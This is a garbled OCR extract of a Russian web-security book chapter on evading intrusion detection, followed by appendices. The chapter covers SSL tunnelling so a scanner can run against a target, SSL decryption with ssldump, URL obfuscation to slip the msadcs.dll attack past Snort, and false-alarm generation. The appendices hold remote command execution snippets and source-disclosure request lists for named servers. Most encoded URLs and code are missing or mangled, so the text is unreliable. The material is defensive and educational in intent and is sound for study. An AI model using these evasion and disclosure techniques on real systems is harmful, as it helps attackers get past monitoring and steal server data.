SSL соединение указанному узлу. В рамках такой схемы передаваемые данные будут
автоматически шифроваться и передаваться целевой системе.
Построить SSL туннель на базе пакета OpenSSL совсем несложно, особенно в
системе Unix, в которой используется демон inetd. Рассмотрим пример, когда
злоумышленник находится на узле
а целевой Web сервер установлен на
узле
и прослушивает порт 443. Предположим, что взломщик хочет за
пустить на целевом Web сервере такую программу поиска изъянов, как Whisker. Для
реализации задуманного плана злоумышленник создает SSL туннель на другой сис
теме,
При этом в файл
на узле
он добавляет сле
дующую запись:
www
nowait root /usr/sbin/tcpd
338
Часть IV. Приемы фу в Web
Подобное изменение конфигурации приведет к тому, что демон inetd будет переда
вать сценарию
весь TCP трафик, приходящий на порт 80 (WWW).
В файле
содержится следующий код:
openssl
quiet connect 192.168.7.203:443
Поскольку сценарий /tmp/sslc o n n ect. sh запускается демоном inetd, все данные, по
ступающие на TCP порт 80, воспринимаются утилитой openssl как данные, поступаю
щие из стандартного входного потока. IP адрес 192 .168.7.2 03 целевого сервера жестко
задан в самом сценарии. Один такой SSL туннель одновременно можно использовать
для взаимодействия только с одной системой. Параметры no_tlsl и quiet предназна
чены для подавления вывода на экран заголовков SSL и обхода предупреждений SSL
аутентификации, генерируемых при использовании неподписанных сертификатов узлов.
Все возвращаемые утилитой openssl данные отсылаются обратно через входящее TCP
соединение демона inetd, поскольку сценарий передает все данные в стандартный вы
ходной поток. Использование SSL туннеля продемонстрировано на рис. 17.2.
/
Web
клиент
)
80
inetd
openssl 5
10.0.0.1
10.0.0.2
192.168.7.203
Рис. 17.2. SSL туннель, реализованный с использованием демона
и
средств
Теперь в качестве целевого сервера утилиты Whisker взломщик может задать узел
10.0.0.2 и порт 80, а не узел 192.168.7.203. При этом шифрование и передача данных
на узел
а также передача ответов по адресу
будут обеспечивать
ся SSL туннелем.
Более удачный и надежный SSL туннель можно организовать с использованием
утилиты stunnel. Ее исполняемую версию для системы Windows, разработанную на ба
зе библиотек OpenSSL, можно найти по адресу http://www.stunnel.org/.
Выявление вторжений через SSL
Что делать, если протокол
сводит на нет все попытки выявления вторжений?
Простого ответа на этот вопрос не существует, хотя рядом специалистов были пред
ложены различные решения, в которых учитывалась специфика конкретных ситуаций.
Оказалось, что наилучший вариант связан с использованием реверсивного HTTP
посредника (reverse HTTP proxy). На рис. 17.3 показано, как такой посредник можно
использовать для перехвата SSL трафика, прежде чем он достигнет Web сервера, и для
передачи Web серверу HTTP запросов с незашифрованным текстом. При этом систе
ма выявления вторжений размещается между реверсивным HTTP посредником и
Web сервером и позволяет выделять в HTTP трафике сигнатуры атак.
Единственный недостаток такой архитектуры заключается в том, что исходный IP
адрес системы, с которой была инициирована атака, заменяется IP адресом реверсив
ного HTTP посредника. Для получения исходного IP адреса придется сопоставить
журналы HTTP посредника и IDS.
Глава 17. Обход систем IDS
GET
HTTP/1.0 443
17.3. Реверсивный HTTP посредник и система IDS
Анализ трафика SSL
Утверждение о том, что проанализировать данные, передаваемые через SSL
соединение, невозможно, не совсем верно. При передаче ключа сеанса между Web
сервером и броузером используется протокол SSL, в основу которого положены крип
тографические методы с применением открытого ключа. Ключ сеанса (закрытый
симметричный ключ) используется Web сервером и броузером для шифрования дан
ных, которыми они обмениваются во время HTTP сеанса.
Если удастся получить ключ сеанса SSL, то можно расшифровать поток перехва
ченных данных. Ключ сеанса SSL можно получить лишь при его передаче между
Web сервером и броузером. Однако такое взаимодействие выполняется с использова
нием шифрования по открытому ключу. Таким образом, для получения ключа сеанса
взломщик должен получить доступ к серверному и клиентскому SSL сертификатам,
если таковые используются. Web серверы достаточно редко заставляют использовать
сертификат в клиентском броузере.
Зная закрытый ключ SSL сертификата сервера, хакер сможет выполнить дешиф
рацию данных SSL соединения, если анализатор трафика SSL был запущен до того
момента, как было установлено само соединение. И такая утилита анализатор су
ществует. Программа ssldump
представляет собой вер
сию tcpdump, которая позволяет перехватывать трафик SSL. Более подробную инфор
мацию об утилите ssldump и основных принципах ее использования можно получить
на Web узле rtfm.com.
Рассмотрим пример практического использования утилиты ssldump. Web сервер
Apache с поддержкой протокола SSL запущен на узле
В конфигураци
онном файле этого сервера содержится две директивы, определяющие местоположе
ние серверного SSL сертификата и соответствующего закрытого ключа.
SSLSertificateKeyFile
В рассматриваемом примере утилита ssldump запущена на том узле, на котором
можно анализировать входящий и исходящий сетевой трафик
Для того чтобы с использованием программы ssldump можно было успешно рас
шифровать данные SSL, в своем распоряжении нужно иметь копию закрытого ключа
340
Часть IV. Приемы фу в Web
SSL сертификата ---
Расшифрованный с помощью утилиты ssldump HTTP
сеанс между узлами
и
выглядит следующим образом.
q d k
New TCP connection 10.0.0.1(1410) < > 192.168.7.204(443)
1111111111
12
345678
910
0000000000
.0075
.0096
.0097
.0097
.0153
.0531
.0531
.0541
.0541
.0560
(0
(0
(0
(0
(0
(0
(0
(0
(0
(0
.0075)
.0020)
.0001)
.0000)
.0055)
.0377)
.0000)
.0010)
.0000)
.0019)
OS
S>C
S>C
s>c
OS
OS
OS
s>c
s>c
OS
compatible client hello
Handshake
Handshake
Handshake
Handshake
Handshake
ChangeCipherSpec
Handshake
application data
ServerHello
Certificate
ServerHelloDone
Finished
Finished
GET /cgi bin/test cgi HTTP/1.0
Connection: Keep Alive
User Agent:
[en] (Windows NT 5.0; 0)
Host: 192.168.7.204
Accept: */*
Accept Encoding: gzip
en
Accept Charset:
1 11 0.1046 (0.0485) S>C application_data
HTTP/1.1 200 OK
Date:
23 Apr 2002 20:21:11 GMT
Server: Apache/1.3.19
Connection: close
text/plain
CGI/1.0 test script report:
argcis0.argvis.
= Apache/1.3.19
= 192.168.7.204
GATEWAY INTERFACE =
=
SERVER_PORT
= GET
HTTP_ACCEPT = */*
PATH_INFO =
=
= /cgi bin/test cgi
QUERY STRING =
=
=
=
=
=
POST QUERY:
1 12 0.1131 (0.0084) S>C Alert
warning
close_notify
Глава 17. Обход систем IDS
341
0.1138 (0.0006) S>C TCPFIN
OS Alert
warning
close notify
1 0.1172 (0.0003) OS TCP FIN
На узле 1 0 . 0 . 0 . 1 сгенерирован запрос по адресу
bin/test cgi. В рассматриваемом примере с использованием утилиты
удалось
расшифровать как HTTP запрос, так и ответ.
При использовании в системах выявления вторжений модуля анализа данных SSL
возникает две проблемы. Во первых, дешифрация трафика
требует значительных
ресурсов центрального процессора. Для эффективной работы в реальном времени
анализ данных SSL нужно выполнять исключительно на мощных и быстродействую
системах. Во вторых, если протокол SSL используется на множестве серверов, на
которых применяются различные сертификаты и ключи, то для каждого из них необ
ходимо запускать отдельный экземпляр SSL анализатора.
Полиморфные адреса URL
Слово полиморфный (polymorphic) означает, что тот или иной объект имеет не
сколько форм. Полиморфными будем называть такие адреса URL, которые связаны с
одним и тем же ресурсом, однако имеют различный вид.
В главе 3 обсуждалась структура URL, а также способы, с использованием которых
в адресах URL можно закодировать запрещенные символы. Если внимательно по
смотреть на структуру URL, то можно заметить, что один и тот же адрес можно пред
ставить несколькими способами. Вполне очевидно, что подобное представление
в различной форме может понадобиться для обхода анализа сигнатур.
Проиллюстрируем это на примере. Вернемся к сценарию, когда злоумышленник
располагается на узле
а целевой сервер имеет адрес
Програм
ма snort запущена на системе webspy, которая прослушивает тот же сетевой сегмент, в
котором содержится и узел
В данном случае рассматривается атака
RDS/MDAC. Ее реализация подразумевает генерацию запроса к ресурсу msadcs.dll
сервера IIS. Для того чтобы определить, существует ли ресурс msadcs.dll в конкретной
системе, можно сгенерировать следующий HTTP запрос:
пс 192.168.7.203 80
GET
HTTP/1.0
HTTP/1.1 200 OK
Server:
Date: 22 Apr 2002 11:54:07 GMT
Content Type:
Content Length: 6
.
???
Запрашиваемый ресурс находится по адресу
Ответ сервера свидетельствует о том, что данный ресурс действительно существует и
запрос был успешно обработан. Как только будет отправлен данный запрос, в журнале
узла webspy появится предупреждение о том, что IDS обнаружила атаку. Это сообще
ние имеет следующий вид:
Apr 22 11:54:09 webspy
[1:1023:3]
msadc/msadcs.dll access
[Classification: access to a potentially vulnerable web application]
[Priority:
10.0.0.1:1195 >
342
Часть IV. Приемы фу в Web
В специальном файле утилиты snort, в котором содержится набор правил выявле
ния атак на сервер IIS, за обнаружение доступа к ресурсу
отвечает
следующее правило:
alert tcp
any $HTTP SERVERS 80
msadc/msadcs.dll access"; flags: A+;
sid:1023;
В соответствии с этим правилом в
HTTP запроса выполняется поиск
шаблона /msadc/msadcs.dll. Если HTTP запрос на доступ к ресурсу
удастся
переписать таким образом, чтобы совпадения с шаблоном уже не было, то нападение
может оказаться незамеченным.
Ниже приведены наиболее распространенные способы представления этого запроса.
• Представление символов
кодом.
• Избыточное кодирование или недопустимое кодирование символов в формате
Unicode.
• Добавление фиктивных путей.
• Вставка комбинации символов
• Использование в пути нестандартных символов разделителей.
• Использование нескольких символов /.
Шестнадцатеричное кодирование
В главе 5 описывалось, каким образом символы, которые запрещено использо
вать в адресах URL напрямую, можно зашифровать с помощью двухзначного шест
представления их ASCII кодов. В формальной спецификации URL
указано, что Web броузеры должны использовать Шестнадцатеричное кодирование
только для тех символов, которые не могут быть представлены напрямую. Однако
Web серверы декодируют любые символы, представленные в
формате, в том числе символы алфавита и цифры. С использованием
ричного кодирования запрос
GET /msadc/msadcs.dll
можно представить следующим образом:
GET
При использовании такого запроса будет получен тот же конечный результат. Од
нако с использованием
кодирования систему Snort обмануть не
удастся. В ее состав входит препроцессор
который используется в качестве де
шифратора URL. Декодированный с помощью препроцессора адрес URL проверяется
на наличие в нем любых известных сигнатур.
Избыточное шифрование или недопустимое
кодирование символов в формате Unicode
Web серверам IIS можно передать HTTP запросы, сгенерированные с использова
нием недопустимого кодирования Unicode или избыточного шифрования. Более под
робно этот вопрос обсуждается в главе 5. Ниже показано, как с использованием та
кого подхода можно зашифровать строку /msadc/msadcs.dll.
Глава 17. Обход систем IDS
343
Метод шифрования Зашифрованная строка
Двухбайтовое шифрова
Unicode
Трехбайтовое шифрова
Unicode
Двойное шифрование
HTTP препроцессор программы Snort выполняет также декодирование тех данных,
к которым было применено недопустимое двойное Unicode кодирование или избы
точное шифрование. При передаче по сети запросов, сгенерированных использова
нием этих методов, утилитой Snort генерируются предупреждения.
Добавление фиктивных путей
Если в адресе URL содержится строка
это означает, что каталог, указанный
перед данной строкой, игнорируется. Это условие позволяет
вставлять
в строку URL фиктивные пути или фиктивные имена каталогов, а затем игнориро
вать их с помощью строки Использование фиктивных путей может сбить с тол
ку механизм поиска по шаблону модуля анализа сигнатур. В приведенном ниже
фрагменте показано, как фиктивные пути можно вставить в запрос на доступ к ре
сурсу
GET
HTTP/1.0
В данном случае шаблон /m s adc/m s adc s .dll был нарушен путем добавления строки
между строками /msadc/ и msadcs .dll. На этот раз средствами Snort обна
ружить атаку RDS/MDAC не удастся. Однако система Snort позволяет обнаружить,
что в строке
содержится недопустимый символ обхода каталога. В результате бу
дет сгенерировано соответствующее предупреждение, поскольку в обычных адресах
URL строка
используется.
Вставка строк /
Еще один способ маскирования URL для реализации атаки --- использование
строк Указанная перед спецификацией файла строка
свидетельствует о том,
что эта спецификация связана с текущим рабочим каталогом. Ниже представлено
несколько вариантов запроса к ресурсу /m s adc/ms adcs .dll, модифицированного с ис
пользованием строк
GET
GET
HTTP/1.0
GET
HTTP/1.0
GET
HTTP/1.0
Все эти запросы успешно обошли средства защиты snort. Однако эту ситуацию
можно легко исправить, дополнив набор правил поиска сигнатур новым правилом
для строки
состав набора правил программы snort уже включено правило по
иска строки Правило для строки
можно добавить в ту же категорию правил
как показано ниже.
344
Часть IV. Приемы фу в Web
tcp
NET any >
80
http slash dot slash string"; flags: A+;
content:
sid:9999;
Использование в пути нестандартных
символов разделителей
При задании адресов URL сервер IIS компании Microsoft разрешает использовать
в пути в качестве символа разделителя обратную косую черту Компания Microsoft
использовала этот символ разделитель еще со времен DOS и при реализации своего
Web сервера также "решила" проигнорировать спецификации
и
в которых определено, что в качестве такого разделителя должен использоваться толь
ко символ прямой косой черты
Таким образом, все направляемые серверу IIS запросы HTTP можно модифициро
вать, воспользовавшись в качестве разделителя символом \. В этом случае запрос на
получение доступа к ресурсу
будет выглядеть следующим образом:
GET
НТТР/1.0
Поскольку в наборе правил утилиты snort шаблон rasadc\msadcs.dll отсутствует, та
кой запрос не вызовет никаких подозрений. Для решения этой проблемы любое пра
вило, связанное с запросами к серверу IIS, в котором содержится символ разделитель,
должно быть продублировано также и с использованием символа разделителя V Еще
лучше разработать для программы snort собственный препроцессор, который в адресе
URL выполнял бы замену всех символов \ на /.
Использование нескольких символов /
В качестве разделителя можно использовать не один символ косой черты, а сразу
несколько. При этом с использованием такого адреса URL можно выполнять те же
действия, что и раньше. Такой прием позволяет ввести в заблуждение системы выяв
ления вторжений, например snort. Ниже показаны запросы, эквивалентные исходно
му запросу для получения доступа к ресурсу /msadc/msadcs.dll.
GET
HTTP/1.0
GET
HTTP/1.0
Одновременное использование
различных подходов
Воспользовавшись несколькими рассмотренными выше методами, можно создать
еще большее количество адресов URL. Ниже приведены некоторые примеры.
GET
НТТР/1.0
GET
HTTP/1.0
GET
HTTP/1.0
Для борьбы с подобными хитростям и эффективного выявления вторжений в со
став IDS должен входить специальный HTTP дешифратор или HTTP препроцессор.
Глава 17. Обход систем IDS
345
Генерация ложных сообщений
Заставить IDS выдать ложное предупреждение об атаке можно различными спосо
бами. Один из них заключается в передаче данных, в которых содержится строка,
совпадающая с шаблоном из таблицы сигнатур системы IDS. При этом сами дан
ные с атакой могут быть и не связаны. Рассмотрим три URL.
•
•
•
В первом адресе содержится ссылка на несуществующую точку привязки
Соответствующий HTTP запрос будет успешно обработан, и с узла
кли
ентский броузер получит содержимое страницы
Однако одновременно с
этим IDS сообщит об атаке на узел 192.168.7.203, поскольку строка cmd.exe содержит
ся в одной из проверяемых ею сигнатур.
Во втором адресе URL через строку запроса статическому HTML файлу передается
параметр. Web серверу передается параметр с именем
со значением
Эта хранимая процедура используется в реальных атаках, когда в строку
URL вставляется специальный SQL запрос. В данном же случае index.html --- это ста
тическая HTML страница, которой ничего не известно о каких либо передаваемых ей
параметрах. Эти параметры попросту отбрасываются. IDS не может определить, ис
пользуется ли какой либо адрес URL для реального нападения. В рассматриваемом
случае такая IDS, как snort, сообщила бы об атаке на узел 192.168.7.203.
В строке запроса третьего адреса URL сценарию CGI передаются параметры. Од
нако в строке запроса можно указать и "лишние" параметры, не используемые дан
ным сценарием. При этом эффект будет таким же, как и при использовании второго
адреса URL.
Для проверки все три адреса URL были отправлены с узла
на узел
192.168.7.203. При этом системой snort были сгенерированы три предупреждения,
причем все они оказались ложными.
Apr 22 04:45:14 webspy
[1:1002:2]
cmd.exe access
[Classification: Web Application Attack] [Priority:
10.0.0.1:2490 > 192.168.7.2:80
Apr 22 04:45:47 webspy
[1:1061:2]
cmdshell attempt
[Classification: Web Application Attack] [Priority:
> 192.168.7.2:80
Apr 22 04:46:38 webspy
[1:1122:1] WEB MISC
Attempted Information Leak] [Priority:
10.0.0.1:2495 > 192.168.7.2:80
Обход систем IDS программами проверки изъянов
Программы проверки Web изъянов, такие, как Whisker, могут работать с включен
ным режимом обхода систем IDS. В программе Whisker реализовано 10 методов
обхода IDS.
•
I 1 Режим обхода IDS 1 (URL кодирование)
•
I 2 Режим обхода IDS 2 (вставка строки
•
I 3 Режим обхода IDS 3 (преждевременное завершение URL)
346
Часть IV. Приемы фу в Web
•
I 4 Режим обхода IDS 4 (длинный URL)
•
I 5 Режим обхода IDS 5 (фиктивный параметр)
•
I 6 Режим обхода IDS 6 (разделение с использованием табуляции) (не исполь
зуется для NT/IIS)
•
I 7 Режим обхода IDS 7 (чувствительность к регистру)
•
I 8 Режим обхода IDS 8 (ограничитель Windows)
•
I 9 Режим обхода IDS 9 (слияние сеансов) (медленный)
•
I 0 Режим обхода IDS 0 (метод NULL)
При поиске изъянов методы обхода систем IDS могут комбинироваться.
Потенциальные контрмеры
Основатель компании NFR, Inc. Маркус
(Marcus
выступая на со
вещании
Briefings 1999, впервые заговорил о необходимости разработки
"охранных сигнализаций" и "ловушек". Он отметил, что самая надежная защита мо
жет быть достигнута при обеспечении безопасности как внешнего периметра сети, так
и каждого узла в отдельности. Однако, для того чтобы гарантировать отсутствие изъя
нов в самих средствах обеспечения безопасности как по периметру сети, так и внутри
нее, нужно установить охранную сигнализацию или ловушку. В роли такой ловушки
может выступать программа анализатор, которой используются правила анализа паке
тов, прямо противоположные правилам, заданным для брандмауэра. Если брандмауэр
работает безупречно, то ни один пакет не будет перехвачен анализатором. Однако, ес
ли какой либо подозрительный пакет будет обнаружен анализатором, значит, взлом
щикам каким то образом удалось обойти брандмауэр.
Использование систем выявления вторжений для обнаружения Web атак сопряже
но со множеством трудностей. Главным образом, эти трудности обусловлены приро
дой HTTP запросов и основными принципами взаимодействия с Web приложениями.
Из за большого разнообразия путей, которые можно использовать для решения одной
и той же задачи, системы IDS просто не в состоянии справиться со всеми возможны
ми способами реализации атак. Такие системы гораздо лучше подходят для обнаруже
ния отдельных событий. Поэтому при построении или настройке IDS для обнаруже
ния Web атак нужно руководствоваться следующими принципами.
Декодирование SSL
При выявлении вторжений из Web самым серьезным препятствием является
протокол SSL. Сетевые IDS работают подобно "третьему среднему", проверяя сете
вой трафик и выполняя поиск в нем известных сигнатур еще до того момента, как
он достигнет конечной цели. Протокол SSL разрабатывался специально для того,
чтобы предотвратить любое стороннее подслушивание. Создание IDS, которая рабо
тала бы с трафиком SSL, можно отнести к классу двойственных задач для разработ
ки протокола SSL.
Однако, как упоминалось выше, для выполнения декодирования данных SSL мож
но либо предоставить IDS используемые на сервере SSL сертификаты и закрытые
ключи, либо реализовать реверсивный HTTP сервер, который выполнял бы дешифра
цию SSL трафика, а затем передавал его внутренним Web серверам. В последнем слу
чае IDS можно разместить между реверсивным сервером посредником и внутренним
Web сервером.
Глава 17.
систем IDS
347
Декодирование адресов URL
Чтобы избежать обнаружения системой IDS можно воспользоваться самым рас
пространенным подходом. Он заключается в изменении строки URL таким образом,
чтобы для механизма проверки сигнатур она осталась "незамеченной". Для того
бы IDS успешно идентифицировала атаки даже при использовании модифицирован
ных адресов URL, их декодирование необходимо выполнять еще до этапа проверки
сигнатур. Такая система позволила бы избежать как ложных предупреждений, так и
несрабатывания при наличии описанных выше атак.
Однако с декодированием URL связаны и некоторые недостатки. Для решения
этой задачи при достаточно большом размере сетевых пакетов может потребоваться
много ресурсов. Кроме того, до начала декодирования строки URL системе IDS по
требуется отделить данные прикладного уровня от пакетов.
До тех пор пока IDS, основанные на искусственном интеллекте, не докажут свою
эффективность, администраторам по безопасности следует уделять более серьезное
внимание непосредственной защите Web серверов и
выполнять
поиск в их журналах признаков необычных или злонамеренных действий, а кроме
того, при детектировании атак не полагаться на системы IDS.
Резюме
Наука выявления сетевых атак далека от совершенства. Системы IDS предназначе
ны для уведомления сетевых администраторов о потенциальных вторжениях. Вместе с
тем при детектировании всех атак, нацеленных на сеть, полностью полагаться на IDS
не следует. В настоящее время многие разработчики предлагают системы, которые по
зволяют автоматически менять параметры брандмауэра и блокировать передачу в сеть
опасных данных. Иногда подобные предложения искажают сам смысл обеспечения
безопасности. Для разработки более эффективных решений по обеспечению зашиты
требуется дальнейшее усовершенствование систем IDS.
348
Часть IV. Приемы кунг фу в Web
ПРИЛОЖЕНИЕ А
Перечень
серверами баз данных Web серверами
В приведенной ниже таблице перечислены порты популярных серверов баз данных
и Web серверов. К этому перечню можно обращаться по мере чтения книги.
Перечень портов серверов баз данных и Web серверов
Порт
Сервер
66
Oracle
80
Hyper Text Transfer Protocol (HTTP)
81
HTTP Proxy, альтернативный HTTP порт, Cobalt Server Administration Port
443
Secure Socket Layer (SSL)
445
Microsoft SQL Server поверх NetBIOS
457
UnixWare/Netscape FastTrack Server
1080
SOCKS Proxy
Oracle WebCache Listener
KaZaA File Sharing Server (HTTP подобный протокол)
1352
Lotus Domino (Notes)
1433
Microsoft SQL Server 2000
Microsoft SQL Server 2000 поверх TCP/IP Redirector
1521 1530 Oracle
1944
Microsoft SQL Server 7
2301
Compaq Insight Manager, Compaq Survey Utility
HTTP Proxy (Squid,
и т.д.)
3306
4000
Oracle WebCache Listener
Oracle WebCache Listener
4002
Oracle WebCache Listener
Sybase (с программным обеспечением jConnect)
5000
Sybase 12.x
5432
PostgreSQL
5800
VNC HTTP Console Port 1
5801
VNC HTTP Console Port #2
5802
VNC HTTP
Port #3
6346
Gnutella (HTTP подобный протокол)
6347
Gnutella (HTTP подобный протокол)
7001
BEAWebLogic
7002
BEAWebLogic
8000 HTTP Proxy, альтернативный HTTP порт, HP Web
Version 6.0
8001
BEAWebLogic
8005
Apache Tomcat Administration Server (не HTTP протокол)
8080
HTTP Proxy, альтернативный HTTP порт
8888
HTTP Proxy, альтернативный HTTP порт
30821
Netscape Enterprise Server Administration Server
350
Приложение А
ПРИЛОЖЕНИЕ Б
Методы и определения полей
и
В приведенных ниже таблицах содержится
полный перечень методов
и полей заголовков стандартных запросов и ответов протоколов НТТР/1.1 и
Таблица Методы и определения полей протокола НТТР/1.1
Метод Запрос
Определение
GET
POST
HEAD
GET
Host:
или
\r\n
POST
l\r\n
Host:
или
Content Length:
в
\r\n
или другие данные пе
редачи по
HEAD
Host:
или
PUT PUT
Host:
или
в
Content Type: <гил
для размещения в
OPTIONS OPTIONS
Host:
или
Метод GET используется для извлечения любых
данных, которые хранятся или генерируются ре
сурсом, определяемым идентификатором URI
(Uniform Resource Identifier --- универ
сальный идентификатор ресурса). Этот метод
используется для получения файлов, запуска
серверных сценариев или взаимодействия с
серверными
и др. Если в HTML
форме указан метод передачи GET, то парамет
ры формы передаются HTTP серверу в
Метод POST используется для передачи данных
ресурсу, определяемому идентификатором
Обычно таким ресурсом является сер
верный сценарий либо
предна
значенная для обработки данных формы. Если
при передаче данных HTML формы используется
метод то эти данные передаются HTTP
серверу в теле запроса POST
Метод HEAD аналогичен методу GET за исключе
нием того, что в ответе сервера HTTP не со
держится тела. Метаинформация, содержащаяся
в HTTP заголовке ответа на запрос
должна
быть идентична информации, передаваемой в
ответ на запрос GET. Метод HEAD можно исполь
зовать для получения метаинформации о необ
ходимом объекте. Обычно этот метод использу
ется для тестирования гиперссылок на коррект
ность, доступность и последние изменения
раздел
Метод PUT позволяет отправлять данные на
HTTP сервер и сохранять их по адресу, задавае
мому идентификатором
Метод OPTIONS позволяет получить информацию
о параметрах связи, которые можно использо
вать при обмене запросами/ответами с ресур
сом, определяемым идентификатором URI
запроса (RFC 2616, раздел 9.2)
352
Приложение Б
Окончание табл. Б.1
Метод Запрос
Определение
DELETE DELETE
l\r\n
Host:
или
\r\n
TRACE TRACE
Host:
или
\r\n
CONNECT CONNECT
Host:
или
Метод DELETE позволяет удалить на целевом
сервере ресурс, который определяется
фикатором
(RFC 2616, раздел 9.7)
Метод TRACE используется для инициирования
на прикладном уровне удаленной обратной свя
зи... С помощью этого метода клиент может оп
ределить, какие данные были получены на дру
гом конце соединения. Полученные сведения
можно использовать для тестирования и
стики (RFC раздел 9.8)
Метод CONNECT позволяет установить proxy
соединение с ресурсом, который задан иденти
фикатором
Таблица Методы и определения полей протокола
Метод Запрос
Определение
GET GET
\r\n
POST
HEAD
POST
Content Length:
в
Content Type: <тип
\r\n
другие данные для
передачи по
HEAD
Метод GET используется для извлечения любых
данных, которые хранятся или генерируются ресур
сом, определяемым идентификатором Ш залроса
(Uniform Resource Identifier --- универсальный иден
тификатор ресурса). Этот метод используется для
получения файлов, запуска серверных сценариев
или взаимодействия с серверными
и др. Если в HTML форме указан метод передачи
GET, то параметры формы передаются
серверу в
Метод POST используется для передачи данных ре
сурсу, определяемому идентификатором URI
Обычно таким ресурсом является сервер
ный сценарий либо
предназначен
ная для обработки данных формы. Если при пере
даче данных HTML формы используется метод
POST, то эти данные передаются HTTP серверу в
теле запроса POST
Метод HEAD аналогичен методу GET за
ем того, что в ответе сервера HTTP не содер
жится тела,
содержащаяся
в HTTP заголовке ответа на запрос HEAD, должна
быть идентична информации, передаваемой в ответ
на запрос GET. Метод HEAD можно использовать
для получения
о необходимом
объекте. Обычно этот метод используется для
тестирования гиперссылок на корректность, дос
тупность и последние изменения (RFC 2616, раз
дел 9.4)
Методы и определения полей протоколов
и
353
Таблица Б.З. Неопределенные методы протокола
как описано в приложении D
документа RFC 1945
Метод Запрос
Определение
PUT Формат сообщения PUT в документе
RFC 1945 не определен. На практике
обычно используется тот же формат, что
1.1
DELETE Формат сообщения DELETE в документе
RFC 1945 не определен. На практике
обычно используется тот же формат, что
для HTTP 1.1
LINK Формат сообщения LINK в документе
RFC 1945 не определен и не поддержива
ется большинством/всеми реализациями
UNLINK Формат сообщения UNLINK в документе
RFC не определен и не поддержива
ется большинством или всеми реализа
циями HTTP
Метод позволяет отправлять данные HTTP
серверу и сохранять их по адресу
Метод DELETE позволяет удалить на целевом сер
вере ресурс, определяемый идентификатором URI
запроса (RFC 1945, приложение D.1, раздел
Метод LINK позволяет установить одну или не
сколько связей между ресурсом, определяемым
идентификатором URI запроса, и другими сущест
вующими ресурсами (RFC 1945, приложение
раздел
Метод UNLINK позволяет удалить одну или несколь
ко связей между ресурсом, определяемым
фикатором URI запроса, и другими ресурсами
(RFC 1945, приложение раздел
354
Приложение Б
ПРИЛОЖЕНИЕ В
Удаленное выполнение
команд
В приведенной таблице содержится перечень полезных
которые можно
использовать для удаленного выполнения команд.
Удаленное выполнение команд
Среда Web Исходный код
приложения
Дополнительная информация
Java
class
extends
void
{
Runtime
Process
Java Server
Pages (JSP) Runtime
Process
Active Server В целевой системе должны быть установлены
Pages (ASP) средства Windows Scripting Host
Set
CreateObject
\>
PERL
В языке Perl команды размещаются между
символами
или
или
PHP
<?
ИЛИ
<?
MS SQL
EXEC
/
com/
http://www.php.net/manual/en/
356
Приложение В
ПРИЛОЖЕНИЕ Г
ИСХОДНОГО
И
В этом приложении содержится перечень основных известных приемов раскрытия исходного кода. Многие из них связа
ны с конкретными ошибками в определенных версиях профаммного обеспечения. Другие можно использовать на несколь
ких платформах. Часть перечисленных изъянов проявляется снова и снова вопреки всем заверениям разработчиков.
Раскрытие исходного кода, файлов и каталогов
Уязвимое приложение
HTTP запрос
Информация об изъяне
Allaire ColdFusion
Allaire JRun, альтернативный поток дан
ных
Allaire JRun, серверные включения
Apache Tomcat,
BEA WebLogic, расширения файла с сим
волами разных регистров
WebLogic 5.1,
WebLogic, FileServlet
BEA
BEA
IBM WebSphere, расширение файла с
символами разных регистров
IBM WebSphere,
Microsoft 4.0 + файловая система FAT
GET
путь
к
GET
HTTP/1.0
GET /file HTTP/1.0 .
Content Length:
имени файла +
HTTP/1.0
2. GET
HTTP/1.0
HTTP/1.0
2. GET
HTTP/1.0
3. GET
HTTP/1.0
GET
HTTP/1.0
GET
GET
HTTP/1.0
GET /*.shtml /file.jsp HTTP/1.0
HTTP/1.0
2. GET /file.jsP HTTP/1.0
3. GET /file.Jsp HTTP/1.0
GET
HTTP/1.0
GET
HTTP/1.0
http://www.securityfocus.com/bid/3664
9
http://www.securityfocus.com/bid/2527
http://www.securityfocus.com/bid/1328
http://www.securityfocus.com/bid/1518
http://www.securityfocus.com/bid/1378
http://www.securityfocus.com/bid/1517
http://www.securityfocus.com/bid/1328
Продолжение таблицы
Microsoft 4.0, альтернативный поток
данных
Microsoft
Microsoft ISS, Translate: f
Microsoft ISS 3.0,
Microsoft ISS 2.0/3.0, добавление
символа .
Oracle, _pages/
Sun Java Web Server, .
GET
HTTP/1.0
GET
GET
HTTP/1.0 Translate: f
GET
HTTP/1.0
2. GET /file.pl HTTP/1.0
3. GET
HTTP/1.0
4. GET
HTTP/1.0
GET / pages/ HTTP/1.0
HTTP/1.0
2. GET
HTTP/1.0
http://www.securityfocus.com/bid/1488
http://www.securityfocus.com/bid/1814
4
Раскрытие файлов
Уязвимое приложение
HTTP запрос
Информация об изъяне
Allaire ColdFusion Server,
Allaire ColdFusion, openfile.cfm
Allaire ColdFusion,
Allaire Jrun, /servlet/
Apache Web Server +
для Win32
Apache Web Server, + PHP3
GET
Path=
c:\file HTTP/1.0
GET /cfdocs/expeval/openfile.cfm ?????????? HTTP/
1.0
GET /cfdocs/exampleapp/docs/sou
HTTP/1.0
2. GET
GET
HTTP/1.0
GET
путь к
HTTP/1.0
http://www.securityfocus.com/bid/1833
http://www.securityfocus.com/bid/3786
Продолжение таблицы
MicrosoftIIS, изъян Unicode
Microsoft IIS, двойное декодирование
Microsoft IIS,
MicrosoftIIS, idq.dll
MicrosoftIIS,
Microsoft IIS,
Microsoft IIS,
Netscape Enterprise Server,
Netscape Enterprise Server, /publisher
Netscape Enterprise Server Win32, имена
файлов 8.3
путь к
2. GET
путь к
путь к
GET
путь к
GET
htr
GET
путь к
GET
путь к
GET
путь к
1. GET
к
2. GET /Sites/Knowledge/Membership/
путь к
3. GET /Sites/Samples/Knowledge/ Membership/ путь
HTTP/1.0
GET
HTTP/1.0
GET /publisher
Обычный запрос:
GET /directory/
Злоумышленный запрос:
GET
HTTP/1.0
http://www.securityfocus.com/bid/2708
http://www.securityfocus.com/bid/167
3
http://www.securityfocus.com/bid/2416
http://www.securityfocus.com/bid/584
Продолжение таблицы
Раскрытие каталогов
Уязвимое приложение
Allaire Jrun,
GET
HTTP/1.0
GET /I3f.jsp HTTP/1.0
Apache Web Server + Mac OS, . DS_Store GET DS_Store
2. GET /.FBCIndex
ApacheWebServer
Apache Web Server, много символов /
Apache Web Server, /cgi bin/test cgi
Microsoft IIS 5.0, WebDAV
/?M=A
2. GET /?S=D HTTP/1.0
GET 1 4096 символов
HTTP/1.0
2. GET
HTTP/1.0
HTTP/1.0
2. GET
HTTP/1.0
3. GET
HTTP/1.0
GET
HTTP/1.0
SEARCH узла или
Content Type:
Content Length: 133
<g:sql>
Select
from
</g:sql>
